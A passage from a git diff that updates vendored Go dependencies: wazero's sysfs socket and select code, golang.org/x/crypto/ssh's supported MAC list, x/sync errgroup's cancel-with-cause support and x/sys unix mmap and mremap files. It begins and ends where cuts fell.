/dev/null @@ -1,18 +0,0 @@ -package sysfs - -import ( - "syscall" - "time" - - "github.com/tetratelabs/wazero/internal/platform" -) - -// syscall_select invokes select on Unix (unless Darwin), with the given timeout Duration. -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - return syscall.Select(n, (*syscall.FdSet)(r), (*syscall.FdSet)(w), (*syscall.FdSet)(e), t) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go deleted file mode 100644 index 400df900e6..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_unsupported.go +++ /dev/null @@ -1,14 +0,0 @@ -//go:build !darwin && !linux && !windows - -package sysfs - -import ( - "time" - - "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" -) - -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - return -1, sys.ENOSYS -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go deleted file mode 100644 index b5c1a1bdb1..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/select_windows.go +++ /dev/null @@ -1,173 +0,0 @@ -package sysfs - -import ( - "context" - "syscall" - "time" - "unsafe" - - "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" -) - -// pollInterval is the interval between each calls to peekNamedPipe in selectAllHandles -const pollInterval = 100 * time.Millisecond - -// zeroDuration is the zero value for time.Duration. It is used in selectAllHandles. -var zeroDuration = time.Duration(0) - -// syscall_select emulates the select syscall on Windows, for a subset of cases. -// -// r, w, e may contain any number of file handles, but regular files and pipes are only processed for r (Read). -// Stdin is a pipe, thus it is checked for readiness when present. Pipes are checked using PeekNamedPipe. -// Regular files always immediately report as ready, regardless their actual state and timeouts. -// -// If n==0 it will wait for the given timeout duration, but it will return sys.ENOSYS if timeout is nil, -// i.e. it won't block indefinitely. -// -// Note: ideas taken from https://stackoverflow.com/questions/6839508/test-if-stdin-has-input-for-c-windows-and-or-linux -// PeekNamedPipe: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -func syscall_select(n int, r, w, e *platform.FdSet, timeout *time.Duration) (int, error) { - if n == 0 { - // Don't block indefinitely. - if timeout == nil { - return -1, sys.ENOSYS - } - time.Sleep(*timeout) - return 0, nil - } - - n, errno := selectAllHandles(context.TODO(), r, w, e, timeout) - if errno == 0 { - return n, nil - } - return n, errno -} - -// selectAllHandles emulates a general-purpose POSIX select on Windows. -// -// The implementation actually polls every 100 milliseconds until it reaches the given duration. -// The duration may be nil, in which case it will wait undefinely. The given ctx is -// used to allow for cancellation, and it is currently used only in tests. -// -// As indicated in the man page for select [1], r, w, e are modified upon completion: -// -// "Upon successful completion, the pselect() or select() function shall modify the objects pointed to by the readfds, -// writefds, and errorfds arguments to indicate which file descriptors are ready for reading, ready for writing, -// or have an error condition pending, respectively, and shall return the total number of ready descriptors in all the output sets" -// -// However, for our purposes, this may be pedantic because currently we do not check the values of r, w, e -// after the invocation of select; thus, this behavior may be subject to change in the future for the sake of simplicity. -// -// [1]: https://linux.die.net/man/3/select -func selectAllHandles(ctx context.Context, r, w, e *platform.FdSet, duration *time.Duration) (n int, errno sys.Errno) { - r2, w2, e2 := r.Copy(), w.Copy(), e.Copy() - n, errno = peekAllHandles(r2, w2, e2) - // Short circuit when there is an error, there is data or the duration is zero. - if errno != 0 || n > 0 || (duration != nil && *duration == time.Duration(0)) { - r.SetAll(r2) - w.SetAll(w2) - e.SetAll(e2) - return - } - - // Ticker that emits at every pollInterval. - tick := time.NewTicker(pollInterval) - tickCh := tick.C - defer tick.Stop() - - // Timer that expires after the given duration. - // Initialize afterCh as nil: the select below will wait forever. - var afterCh <-chan time.Time - if duration != nil { - // If duration is not nil, instantiate the timer. - after := time.NewTimer(*duration) - defer after.Stop() - afterCh = after.C - } - - for { - select { - case <-ctx.Done(): - r.Zero() - w.Zero() - e.Zero() - return - case <-afterCh: - r.Zero() - w.Zero() - e.Zero() - return - case <-tickCh: - r2, w2, e2 = r.Copy(), w.Copy(), e.Copy() - n, errno = peekAllHandles(r2, w2, e2) - if errno != 0 || n > 0 { - r.SetAll(r2) - w.SetAll(w2) - e.SetAll(e2) - return - } - } - } -} - -func peekAllHandles(r, w, e *platform.FdSet) (int, sys.Errno) { - // pipes are not checked on w, e - w.Pipes().Zero() - e.Pipes().Zero() - - // peek pipes only for reading - errno := peekAllPipes(r.Pipes()) - if errno != 0 { - return 0, errno - } - - _, errno = winsock_select(r.Sockets(), w.Sockets(), e.Sockets(), &zeroDuration) - if errno != 0 { - return 0, errno - } - - return r.Count() + w.Count() + e.Count(), 0 -} - -func peekAllPipes(pipeHandles *platform.WinSockFdSet) sys.Errno { - ready := &platform.WinSockFdSet{} - for i := 0; i < pipeHandles.Count(); i++ { - h := pipeHandles.Get(i) - bytes, errno := peekNamedPipe(h) - if bytes > 0 { - ready.Set(int(h)) - } - if errno != 0 { - return sys.UnwrapOSError(errno) - } - } - *pipeHandles = *ready - return 0 -} - -func winsock_select(r, w, e *platform.WinSockFdSet, timeout *time.Duration) (int, sys.Errno) { - if r.Count() == 0 && w.Count() == 0 && e.Count() == 0 { - return 0, 0 - } - - var t *syscall.Timeval - if timeout != nil { - tv := syscall.NsecToTimeval(timeout.Nanoseconds()) - t = &tv - } - - rp := unsafe.Pointer(r) - wp := unsafe.Pointer(w) - ep := unsafe.Pointer(e) - tp := unsafe.Pointer(t) - - r0, _, err := syscall.SyscallN( - procselect.Addr(), - uintptr(0), // the first argument is ignored and exists only for compat with BSD sockets. - uintptr(rp), - uintptr(wp), - uintptr(ep), - uintptr(tp)) - return int(r0), sys.UnwrapOSError(err) -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go index ea59409943..af739a9082 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock.go @@ -5,7 +5,6 @@ import ( "os" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" "github.com/tetratelabs/wazero/sys" ) @@ -18,10 +17,10 @@ func NewTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { // baseSockFile implements base behavior for all TCPSock, TCPConn files, // regardless the platform. type baseSockFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -var _ fsapi.File = (*baseSockFile)(nil) +var _ experimentalsys.File = (*baseSockFile)(nil) // IsDir implements the same method as documented on File.IsDir func (*baseSockFile) IsDir() (bool, experimentalsys.Errno) { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go index 2509a17303..3698f560e0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_unix.go @@ -7,6 +7,7 @@ import ( "syscall" "github.com/tetratelabs/wazero/experimental/sys" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -41,8 +42,9 @@ var _ socketapi.TCPSock = (*tcpListenerFile)(nil) type tcpListenerFile struct { baseSockFile - fd uintptr - addr *net.TCPAddr + fd uintptr + addr *net.TCPAddr + nonblock bool } // Accept implements the same method as documented on socketapi.TCPSock @@ -55,12 +57,7 @@ func (f *tcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { return &tcpConnFile{fd: uintptr(nfd)}, 0 } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno { - return sys.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *tcpListenerFile) Close() sys.Errno { return sys.UnwrapOSError(syscall.Close(int(f.fd))) } @@ -70,12 +67,29 @@ func (f *tcpListenerFile) Addr() *net.TCPAddr { return f.addr } +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) SetNonblock(enabled bool) sys.Errno { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpListenerFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpListenerFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} + var _ socketapi.TCPConn = (*tcpConnFile)(nil) type tcpConnFile struct { baseSockFile - fd uintptr + fd uintptr + nonblock bool // closed is true when closed was called. This ensures proper sys.EBADF closed bool @@ -89,12 +103,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &tcpConnFile{fd: f.Fd()} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { - return sys.UnwrapOSError(setNonblock(f.fd, enabled)) -} - -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Read(int(f.fd), buf) if err != nil { @@ -105,7 +114,7 @@ func (f *tcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { return n, errno } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *tcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { n, err := syscall.Write(int(f.fd), buf) if err != nil { @@ -127,7 +136,7 @@ func (f *tcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) { return n, errno } -// Shutdown implements the same method as documented on fsapi.Conn +// Shutdown implements the same method as documented on sys.Conn func (f *tcpConnFile) Shutdown(how int) sys.Errno { var err error switch how { @@ -141,7 +150,7 @@ func (f *tcpConnFile) Shutdown(how int) sys.Errno { return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *tcpConnFile) Close() sys.Errno { return f.close() } @@ -153,3 +162,19 @@ func (f *tcpConnFile) close() sys.Errno { f.closed = true return sys.UnwrapOSError(syscall.Shutdown(int(f.fd), syscall.SHUT_RDWR)) } + +// SetNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = enabled + return sys.UnwrapOSError(setNonblock(f.fd, enabled)) +} + +// IsNonblock implements the same method as documented on fsapi.File +func (f *tcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// Poll implements the same method as documented on fsapi.File +func (f *tcpConnFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go index 8e0ab92e54..ed275e6290 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/sock_windows.go @@ -5,11 +5,10 @@ package sysfs import ( "net" "syscall" - "time" "unsafe" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/platform" + "github.com/tetratelabs/wazero/internal/fsapi" socketapi "github.com/tetratelabs/wazero/internal/sock" ) @@ -19,8 +18,6 @@ const ( MSG_PEEK = 0x2 // _FIONBIO is the flag to set the O_NONBLOCK flag on socket handles using ioctlsocket. _FIONBIO = 0x8004667e - // _WASWOULDBLOCK corresponds to syscall.EWOULDBLOCK in WinSock. - _WASWOULDBLOCK = 10035 ) var ( @@ -28,12 +25,8 @@ var ( modws2_32 = syscall.NewLazyDLL("ws2_32.dll") // procrecvfrom exposes recvfrom from WinSock. procrecvfrom = modws2_32.NewProc("recvfrom") - // procaccept exposes accept from WinSock. - procaccept = modws2_32.NewProc("accept") // procioctlsocket exposes ioctlsocket from WinSock. procioctlsocket = modws2_32.NewProc("ioctlsocket") - // procselect exposes select from WinSock. - procselect = modws2_32.NewProc("select") ) // recvfrom exposes the underlying syscall in Windows. @@ -92,6 +85,16 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno)) return } +func _pollSock(conn syscall.Conn, flag fsapi.Pflag, timeoutMillis int32) (bool, sys.Errno) { + if flag != fsapi.POLLIN { + return false, sys.ENOTSUP + } + n, errno := syscallConnControl(conn, func(fd uintptr) (int, sys.Errno) { + return _poll([]pollFd{newPollFd(fd, _POLLIN, 0)}, timeoutMillis) + }) + return n > 0, errno +} + // newTCPListenerFile is a constructor for a socketapi.TCPSock. // // Note: currently the Windows implementation of socketapi.TCPSock @@ -101,9 +104,7 @@ func syscallConnControl(conn syscall.Conn, fn func(fd uintptr) (int, sys.Errno)) // standard library, instead of invoke syscalls/Win32 APIs // because they are sensibly different from Unix's. func newTCPListenerFile(tl *net.TCPListener) socketapi.TCPSock { - w := &winTcpListenerFile{tl: tl} - _ = w.SetNonblock(true) - return w + return &winTcpListenerFile{tl: tl} } var _ socketapi.TCPSock = (*winTcpListenerFile)(nil) @@ -118,17 +119,11 @@ type winTcpListenerFile struct { // Accept implements the same method as documented on socketapi.TCPSock func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { - // Ensure we have an incoming connection using winsock_select. - n, errno := syscallConnControl(f.tl, func(fd uintptr) (int, sys.Errno) { - fdSet := platform.WinSockFdSet{} - fdSet.Set(int(fd)) - t := time.Duration(0) - return winsock_select(&fdSet, nil, nil, &t) - }) - - // Otherwise return immediately. - if n == 0 || errno != 0 { - return nil, sys.EAGAIN + // Ensure we have an incoming connection using winsock_select, otherwise return immediately. + if f.nonblock { + if ready, errno := _pollSock(f.tl, fsapi.POLLIN, 0); !ready || errno != 0 { + return nil, sys.EAGAIN + } } // Accept normally blocks goroutines, but we @@ -141,7 +136,20 @@ func (f *winTcpListenerFile) Accept() (socketapi.TCPConn, sys.Errno) { } } -// IsNonblock implements File.IsNonblock +// Close implements the same method as documented on sys.File +func (f *winTcpListenerFile) Close() sys.Errno { + if !f.closed { + return sys.UnwrapOSError(f.tl.Close()) + } + return 0 +} + +// Addr is exposed for testing. +func (f *winTcpListenerFile) Addr() *net.TCPAddr { + return f.tl.Addr().(*net.TCPAddr) +} + +// IsNonblock implements the same method as documented on fsapi.File func (f *winTcpListenerFile) IsNonblock() bool { return f.nonblock } @@ -155,17 +163,9 @@ func (f *winTcpListenerFile) SetNonblock(enabled bool) sys.Errno { return errno } -// Close implements the same method as documented on fsapi.File -func (f *winTcpListenerFile) Close() sys.Errno { - if !f.closed { - return sys.UnwrapOSError(f.tl.Close()) - } - return 0 -} - -// Addr is exposed for testing. -func (f *winTcpListenerFile) Addr() *net.TCPAddr { - return f.tl.Addr().(*net.TCPAddr) +// Poll implements the same method as documented on fsapi.File +func (f *winTcpListenerFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS } var _ socketapi.TCPConn = (*winTcpConnFile)(nil) @@ -189,20 +189,7 @@ func newTcpConn(tc *net.TCPConn) socketapi.TCPConn { return &winTcpConnFile{tc: tc} } -// SetNonblock implements the same method as documented on fsapi.File -func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { - _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { - return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled)) - }) - return -} - -// IsNonblock implements File.IsNonblock -func (f *winTcpConnFile) IsNonblock() bool { - return f.nonblock -} - -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { if len(buf) == 0 { return 0, 0 // Short-circuit 0-len reads. @@ -221,7 +208,7 @@ func (f *winTcpConnFile) Read(buf []byte) (n int, errno sys.Errno) { return } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *winTcpConnFile) Write(buf []byte) (n int, errno sys.Errno) { if nonBlockingFileWriteSupported && f.IsNonblock() { return syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { @@ -248,7 +235,7 @@ func (f *winTcpConnFile) Recvfrom(p []byte, flags int) (n int, errno sys.Errno) }) } -// Shutdown implements the same method as documented on fsapi.Conn +// Shutdown implements the same method as documented on sys.Conn func (f *winTcpConnFile) Shutdown(how int) sys.Errno { // FIXME: can userland shutdown listeners? var err error @@ -265,7 +252,7 @@ func (f *winTcpConnFile) Shutdown(how int) sys.Errno { return sys.UnwrapOSError(err) } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (f *winTcpConnFile) Close() sys.Errno { return f.close() } @@ -277,3 +264,22 @@ func (f *winTcpConnFile) close() sys.Errno { f.closed = true return f.Shutdown(syscall.SHUT_RDWR) } + +// IsNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) IsNonblock() bool { + return f.nonblock +} + +// SetNonblock implements the same method as documented on fsapi.File +func (f *winTcpConnFile) SetNonblock(enabled bool) (errno sys.Errno) { + f.nonblock = true + _, errno = syscallConnControl(f.tc, func(fd uintptr) (int, sys.Errno) { + return 0, sys.UnwrapOSError(setNonblockSocket(syscall.Handle(fd), enabled)) + }) + return +} + +// Poll implements the same method as documented on fsapi.File +func (f *winTcpConnFile) Poll(fsapi.Pflag, int32) (ready bool, errno sys.Errno) { + return false, sys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go index aeb7419716..254e204cd9 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_bsd.go @@ -5,7 +5,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -36,14 +35,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - switch v := info.Sys().(type) { - case *sys.Stat_t: - return v.Ino, 0 - case *syscall.Stat_t: - return v.Ino, 0 - default: - return 0, 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go index 426b2850a4..fd289756de 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_linux.go @@ -8,7 +8,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -39,14 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - switch v := info.Sys().(type) { - case *sys.Stat_t: - return v.Ino, 0 - case *syscall.Stat_t: - return v.Ino, 0 - default: - return 0, 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go index b220041582..4b05a89772 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_unsupported.go @@ -5,7 +5,6 @@ package sysfs import ( "io/fs" "os" - "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" @@ -39,10 +38,3 @@ func stat(path string) (sys.Stat_t, experimentalsys.Errno) { func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } - -func inoFromFileInfo(_ string, info fs.FileInfo) (sys.Inode, experimentalsys.Errno) { - if st, ok := info.Sys().(*syscall.Stat_t); ok { - return st.Ino, 0 - } - return 0, 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go index db28300bf4..4456dd7828 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/stat_windows.go @@ -4,7 +4,6 @@ package sysfs import ( "io/fs" - "path" "syscall" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" @@ -77,22 +76,6 @@ func statFile(f fs.File) (sys.Stat_t, experimentalsys.Errno) { return defaultStatFile(f) } -// inoFromFileInfo uses stat to get the inode information of the file. -func inoFromFileInfo(dirPath string, info fs.FileInfo) (ino sys.Inode, errno experimentalsys.Errno) { - if dirPath == "" { - // This is a fs.File backed implementation which doesn't have access to - // the original file path. - return - } - // Ino is no not in Win32FileAttributeData - inoPath := path.Clean(path.Join(dirPath, info.Name())) - var st sys.Stat_t - if st, errno = lstat(inoPath); errno == 0 { - ino = st.Ino - } - return -} - func statHandle(h syscall.Handle) (sys.Stat_t, experimentalsys.Errno) { winFt, err := syscall.GetFileType(h) if err != nil { diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go index 4f20b00ea2..4f7dbe3fe7 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink.go @@ -1,4 +1,4 @@ -//go:build !windows +//go:build !windows && !plan9 package sysfs diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go new file mode 100644 index 0000000000..16ed06ab2a --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_plan9.go @@ -0,0 +1,12 @@ +package sysfs + +import ( + "syscall" + + "github.com/tetratelabs/wazero/experimental/sys" +) + +func unlink(name string) sys.Errno { + err := syscall.Remove(name) + return sys.UnwrapOSError(err) +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go index e247809eec..be31c7b911 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sysfs/unlink_windows.go @@ -1,5 +1,3 @@ -//go:build windows - package sysfs import ( diff --git a/vendor/golang.org/x/crypto/ssh/common.go b/vendor/golang.org/x/crypto/ssh/common.go index 9ba6e10a4a..dc6f301de4 100644 --- a/vendor/golang.org/x/crypto/ssh/common.go +++ b/vendor/golang.org/x/crypto/ssh/common.go @@ -85,7 +85,7 @@ var supportedHostKeyAlgos = []string{ // This is based on RFC 4253, section 6.4, but with hmac-md5 variants removed // because they have reached the end of their useful life. var supportedMACs = []string{ - "hmac-sha2-512-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", + "hmac-sha2-512-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96", } var supportedCompressions = []string{compressionNone} diff --git a/vendor/golang.org/x/crypto/ssh/mac.go b/vendor/golang.org/x/crypto/ssh/mac.go index 06a1b27507..0a21af47e8 100644 --- a/vendor/golang.org/x/crypto/ssh/mac.go +++ b/vendor/golang.org/x/crypto/ssh/mac.go @@ -53,9 +53,6 @@ var macModes = map[string]*macMode{ "hmac-sha2-256-etm@openssh.com": {32, true, func(key []byte) hash.Hash { return hmac.New(sha256.New, key) }}, - "hmac-sha2-512": {64, false, func(key []byte) hash.Hash { - return hmac.New(sha512.New, key) - }}, "hmac-sha2-256": {32, false, func(key []byte) hash.Hash { return hmac.New(sha256.New, key) }}, diff --git a/vendor/golang.org/x/sync/errgroup/errgroup.go b/vendor/golang.org/x/sync/errgroup/errgroup.go index cbee7a4e23..b18efb743f 100644 --- a/vendor/golang.org/x/sync/errgroup/errgroup.go +++ b/vendor/golang.org/x/sync/errgroup/errgroup.go @@ -20,7 +20,7 @@ type token struct{} // A zero Group is valid, has no limit on the number of active goroutines, // and does not cancel on error. type Group struct { - cancel func() + cancel func(error) wg sync.WaitGroup @@ -43,7 +43,7 @@ func (g *Group) done() { // returns a non-nil error or the first time Wait returns, whichever occurs // first. func WithContext(ctx context.Context) (*Group, context.Context) { - ctx, cancel := context.WithCancel(ctx) + ctx, cancel := withCancelCause(ctx) return &Group{cancel: cancel}, ctx } @@ -52,7 +52,7 @@ func WithContext(ctx context.Context) (*Group, context.Context) { func (g *Group) Wait() error { g.wg.Wait() if g.cancel != nil { - g.cancel() + g.cancel(g.err) } return g.err } @@ -76,7 +76,7 @@ func (g *Group) Go(f func() error) { g.errOnce.Do(func() { g.err = err if g.cancel != nil { - g.cancel() + g.cancel(g.err) } }) } @@ -105,7 +105,7 @@ func (g *Group) TryGo(f func() error) bool { g.errOnce.Do(func() { g.err = err if g.cancel != nil { - g.cancel() + g.cancel(g.err) } }) } diff --git a/vendor/golang.org/x/sync/errgroup/go120.go b/vendor/golang.org/x/sync/errgroup/go120.go new file mode 100644 index 0000000000..7d419d3760 --- /dev/null +++ b/vendor/golang.org/x/sync/errgroup/go120.go @@ -0,0 +1,14 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.20 +// +build go1.20 + +package errgroup + +import "context" + +func withCancelCause(parent context.Context) (context.Context, func(error)) { + return context.WithCancelCause(parent) +} diff --git a/vendor/golang.org/x/sync/errgroup/pre_go120.go b/vendor/golang.org/x/sync/errgroup/pre_go120.go new file mode 100644 index 0000000000..1795c18ace --- /dev/null +++ b/vendor/golang.org/x/sync/errgroup/pre_go120.go @@ -0,0 +1,15 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.20 +// +build !go1.20 + +package errgroup + +import "context" + +func withCancelCause(parent context.Context) (context.Context, func(error)) { + ctx, cancel := context.WithCancel(parent) + return ctx, func(error) { cancel() } +} diff --git a/vendor/golang.org/x/sys/unix/mkerrors.sh b/vendor/golang.org/x/sys/unix/mkerrors.sh index 0c4d14929a..8f775fafa6 100644 --- a/vendor/golang.org/x/sys/unix/mkerrors.sh +++ b/vendor/golang.org/x/sys/unix/mkerrors.sh @@ -624,7 +624,7 @@ ccflags="$@" $2 ~ /^MEM/ || $2 ~ /^WG/ || $2 ~ /^FIB_RULE_/ || - $2 ~ /^BLK[A-Z]*(GET$|SET$|BUF$|PART$|SIZE)/ {printf("\t%s = C.%s\n", $2, $2)} + $2 ~ /^BLK[A-Z]*(GET$|SET$|BUF$|PART$|SIZE|IOMIN$|IOOPT$|ALIGNOFF$|DISCARD|ROTATIONAL$|ZEROOUT$|GETDISKSEQ$)/ {printf("\t%s = C.%s\n", $2, $2)} $2 ~ /^__WCOREFLAG$/ {next} $2 ~ /^__W[A-Z0-9]+$/ {printf("\t%s = C.%s\n", substr($2,3), $2)} diff --git a/vendor/golang.org/x/sys/unix/mmap_nomremap.go b/vendor/golang.org/x/sys/unix/mmap_nomremap.go new file mode 100644 index 0000000000..ca0513632e --- /dev/null +++ b/vendor/golang.org/x/sys/unix/mmap_nomremap.go @@ -0,0 +1,14 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build aix || darwin || dragonfly || freebsd || openbsd || solaris +// +build aix darwin dragonfly freebsd openbsd solaris + +package unix + +var mapper = &mmapper{ + active: make(map[*byte][]byte), + mmap: mmap, + munmap: munmap, +} diff --git a/vendor/golang.org/x/sys/unix/mremap.go b/vendor/golang.org/x/sys/unix/mremap.go index 86213c05d6..fa93d0aa90 100644 --- a/vendor/golang.org/x/sys/unix/mremap.go +++ b/vendor/golang.org/x/sys/unix/mremap.go @@ -2,8 +2,8 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build linux -// +build linux +//go:build linux || netbsd +// +build linux netbsd package unix @@ -14,8 +14,17 @@ type mremapMmapper struct { mremap func(oldaddr uintptr, oldlength uintptr, newlength uintptr, flags int, newaddr uintptr) (xaddr uintptr, err error) } +var mapper = &mremapMmapper{ + mmapper: mmapper{ + active: make(map[*byte][]byte), + mmap: mmap, + munmap: munmap, + }, + mremap: mremap, +} + func (m *mremapMmapper) Mremap(oldData []byte, newLength int, flags int) (data []byte, err error) { - if newLength <= 0 || len(oldData) == 0 || len(oldData) != cap(oldData) || flags&MREMAP_FIXED != 0 { + if newLength <= 0 || len(oldData) == 0 || len(oldData) != cap(oldData) || flags&mremapFixed != 0 { return nil, EINVAL } @@ -32,9 +41,13 @@ func (m *mremapMmapper) Mremap(oldData []byte, newLength int, flags int) (data [ } bNew := unsafe.Slice((*byte)(unsafe.Pointer(newAddr)), newLength) pNew := &bNew[cap(bNew)-1] - if 